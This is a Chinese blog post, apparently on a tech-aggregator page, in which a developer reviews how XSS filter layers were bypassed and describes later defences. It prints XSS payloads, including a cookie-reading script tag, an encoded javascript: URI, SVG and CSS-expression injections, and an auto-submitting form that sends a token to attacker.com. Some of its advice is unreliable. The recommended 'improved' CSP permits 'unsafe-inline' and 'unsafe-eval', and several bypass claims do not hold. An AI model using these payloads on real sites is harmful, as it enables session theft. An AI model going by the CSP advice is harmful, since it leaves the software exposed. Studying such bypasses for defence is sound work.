news 2026/4/20 19:06:32

从防御者视角复盘:我是如何用10种过滤规则,依然被XSS payload绕过的(含代码示例)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从防御者视角复盘:我是如何用10种过滤规则,依然被XSS payload绕过的(含代码示例)

从防御者视角复盘:10种XSS过滤规则为何依然失效

去年负责公司核心业务系统的安全加固时,我遭遇了职业生涯最棘手的XSS攻防战。当时系统已部署10层过滤机制,包括业界常见的HTML实体编码、关键词黑名单、属性白名单等防护措施。但渗透测试报告显示,攻击者仍能通过5种不同方式实现注入。这次复盘将用真实代码演示攻击者如何层层突破防御,以及我们最终构建的立体防护方案。

1. 基础防御体系的构建与失效

我们最初的安全方案采用了典型的纵深防御策略。在WAF层配置了以下规则:

# 示例1:基础关键词过滤 def xss_filter(text): blacklist = ['script', 'onerror', 'javascript', 'eval'] for word in blacklist: text = text.replace(word, '') return html.escape(text)

这套过滤在测试环境表现良好,直到上线后第三周收到首例攻击警报。攻击payload如下:

<ScRipt>alert(document.cookie)</sCript>

关键失误:仅进行小写匹配过滤,未考虑大小写变种。更讽刺的是,我们曾讨论过添加re.IGNORECASE标志,但因担心性能影响而放弃。

2. 编码绕过的艺术

升级后的过滤系统增加了大小写不敏感匹配和部分编码检测:

# 示例2:增强型过滤 def advanced_filter(text): pattern = re.compile(r'script|on\w+=|javascript:', re.I) text = pattern.sub('', text) return html.escape(text)

但攻击者很快改用HTML实体编码:

<img src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)>

漏洞根源:过滤顺序错误。应先解码再过滤,而非相反。我们忽略了浏览器会先解码再执行的基本特性。

3. 属性白名单的陷阱

引入白名单机制后,我们以为万无一失:

// 示例3:DOM Purify配置 const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['p', 'b', 'i'], ALLOWED_ATTR: ['class', 'style'] });

直到发现攻击者利用SVG标签绕过:

<svg><script>alert(1)</script></svg>

教训:未考虑不同解析上下文。SVG内的script在部分浏览器仍会执行,即使主文档禁止script标签。

4. 动态创建的防御盲区

前端框架的流行带来了新挑战。以下是我们的React防护代码:

// 示例4:React防XSS function SafeComponent({ input }) { return <div dangerouslySetInnerHTML={{ __html: sanitize(input) }} />; }

攻击者通过CSS表达式注入:

<div style="width: expression(alert(1))"></div>

根本原因:过度依赖框架安全机制,忽略历史遗留攻击方式。CSS表达式在IE中仍可执行。

5. 终极防御方案

经历多次失败后,我们采用分层防御策略:

防护层技术方案应对攻击类型
输入层内容安全策略(CSP)阻断非法资源加载
处理层上下文感知编码防止HTML/JS/CSS混淆
输出层沙箱隔离限制DOM操作范围
监控层行为检测识别异常脚本执行

关键改进代码:

// 示例5:CSP配置 Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self'; img-src 'self' data:;

实际部署中,我们还发现HttpOnly cookie的局限性。虽然能防止cookie窃取,但攻击者仍可通过以下方式劫持会话:

<form action="https://attacker.com" method="POST"> <input type="hidden" name="token" value="..."> </form> <script>document.forms[0].submit()</script>

这促使我们在关键操作增加二次认证,而不仅依赖会话cookie。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/20 19:05:19

AudioSeal效果实测:经电话语音编码(AMR-WB)转换后水印检出率91.7%

AudioSeal效果实测&#xff1a;经电话语音编码&#xff08;AMR-WB&#xff09;转换后水印检出率91.7% 1. 项目概述与技术背景 AudioSeal是Meta公司开源的一款专业级音频水印系统&#xff0c;专门用于AI生成音频的检测和溯源。这个工具在语音内容安全领域具有重要意义&#xf…

作者头像 李华
网站建设 2026/4/20 19:05:19

从SVM到K-Means:5个机器学习经典面试题,帮你反向巩固期末考点

从SVM到K-Means&#xff1a;5个机器学习经典面试题&#xff0c;帮你反向巩固期末考点 当面试官问你"为什么SVM要用对偶形式求解"时&#xff0c;他们期待的绝不仅是数学推导的复述。这个问题背后隐藏着对凸优化、计算效率、核方法三大知识域的考察——而这恰恰也是期末…

作者头像 李华
网站建设 2026/4/20 18:58:45

ResNet18镜像应用案例:智能内容审核、场景识别,快速落地实战

ResNet18镜像应用案例&#xff1a;智能内容审核、场景识别&#xff0c;快速落地实战 1. 业务痛点与解决方案 在互联网内容平台、智能安防、电商审核等场景中&#xff0c;每天都有海量的图片需要处理。人工审核不仅成本高昂、效率低下&#xff0c;而且容易因疲劳导致误判。一个…

作者头像 李华
网站建设 2026/4/20 18:52:16

猫抓浏览器扩展:3步搞定网页视频下载,告别混乱文件命名

猫抓浏览器扩展&#xff1a;3步搞定网页视频下载&#xff0c;告别混乱文件命名 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓(cat-catch)是一…

作者头像 李华
网站建设 2026/4/20 18:47:47

技术追踪的实现方案与数据采集方法

技术追踪的实现方案与数据采集方法 在当今数字化时代&#xff0c;技术追踪已成为企业优化运营、提升用户体验的重要手段。通过实时监测技术应用状态、收集关键数据&#xff0c;企业能够快速发现问题并制定改进策略。本文将介绍技术追踪的核心实现方案与数据采集方法&#xff0…

作者头像 李华